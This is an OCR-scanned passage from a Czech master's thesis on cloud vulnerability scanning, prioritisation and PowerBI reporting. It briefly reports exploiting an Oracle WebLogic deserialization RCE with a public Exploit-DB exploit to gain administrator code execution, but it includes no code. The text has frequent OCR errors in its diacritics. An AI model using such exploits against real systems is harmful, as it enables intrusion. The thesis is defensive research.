vystaveny riziku a umoznit tak rychlejsi reakci na nové hrozby.

V neposledni fad¢ je také dtilezité zvazit lepsi spravu dat a roli v PowerBl, ptipadné zvazit jiny
nastroj k distribuci nalezti. Diraz na spravnou segregaci dat a roli v PowerBI muze ptispét
k efektivnéj$imu zpracovani aftizeni vysledkd skenti zranitelnosti, zejména V piipadé

organizaci s rozsahlejsi infrastrukturou a vice tymy.

V naSem pokusu ukazat redlny dopad jedné zranitelnosti na zakladé ptechozi prioritizace

v navrhnutém reportu pro prioritiazaci jsme se obrétil k dostupnym exploitim, které 1ze nalézt
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online. Po nékolika krocich jsme se dostali k voln¢ dostupnému exploitu na platformé Exploit-

DB, ktery nam poskytl nastroje k demonstraci této zranitelnosti.

Nasledné byla provedena série postupt, které umoznily uspé$né€ zneuzit zranitelnost ,,Oracle
WebLogic Server Java Object Deserialization RCE®“. Vysledkem bylo ziskani pfistupu

k cilovému systému a provadéni libovolného kodu s pravy administratora.
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ZAVER
V ramci diplomové prace byl uspé$né implementovan proces detekce zranitelnosti ato diky
detailni analyze kyberbezpeénostnich rizik, spravy zranitelnosti a specifickych vyzev

spojenych s cloudovym prostiedim.

Sezndmeni se s konfiguraci cloudové infrastruktury, nastroji skenovani a riznymi detekénimi
mechanismy poskytlo dilezité poznatky a zakladni znalosti. Tato faze prizkumu umoznila 1épe
porozumét fungovani cloudové infrastruktury a efektivngji vyuZzivat dostupné nastroje

k identifikaci a fizeni zranitelnosti v tomto prostiedi.

Pribéh implementace zahrnoval nastaveni cloudového konektoru pro identifikaci
infrastruktury, analyzu dat pro dil¢i skeny, implementaci skenovani zranitelnosti a bezpecné
konfigurace spole¢né s vizualizaci vysledkii pomoci integrace s MS PowerBI. Dikladna
analyza vysledkii umoznila prioritizaci konfiguraénich nalezli a zranitelnosti, coz poskytlo

zéklad pro efektivni opravy a monitorovani.

Prostiednictvim demonstrace zneuziti zranitelnosti ,,Oracle WebLogic Server Java Object
Deserialization RCE* bylo dok&zano, Ze izdanlivé bezvyznamné zranitelnosti mohou mit
vazné dusledky, zejména pokud jsou zneuzity. Tento piipad zdtraznil dulezitost rychlé
identifikace a opravy zranitelnosti pro ochranu nasi infrastruktury a dat pfed potencialnimi

utoky.

Zavérem lze konstatovat, ze implementace procesu detekce zranitelnosti v cloudu je nezbytnym
prvkem pro zajisténi kybernetické bezpec¢nosti Vv modernim podnikovém prostiedi vzhledem
K riznorodosti mozné konfigurace, které cloudové prostiedi nabizi. Ackoliv se b&hem
diplomové prace celilo uréitym vyzvam spojenym S rozdily mezi cloudovou a on-premise
infrastrukturou, podatilo se Gspésné navrhnout a implementovat efektivni mechanismy detekce
aftizeni zranitelnosti. Zaroven lze zminit, Ze v porovnani s tradi¢ni infrastrukturou, je
implementace bezpecnostnich mechanismili pro detekci zranitelnosti v cloudové infrastruktuie
jednodussi a casové méné narofnad pii zvoleni spravnych nastroji. Timto zptisobem lze
minimalizovat rizika spojend s cloudovymi zranitelnostmi a zlepsit celkovou bezpecnost

cloudove infrastruktury.
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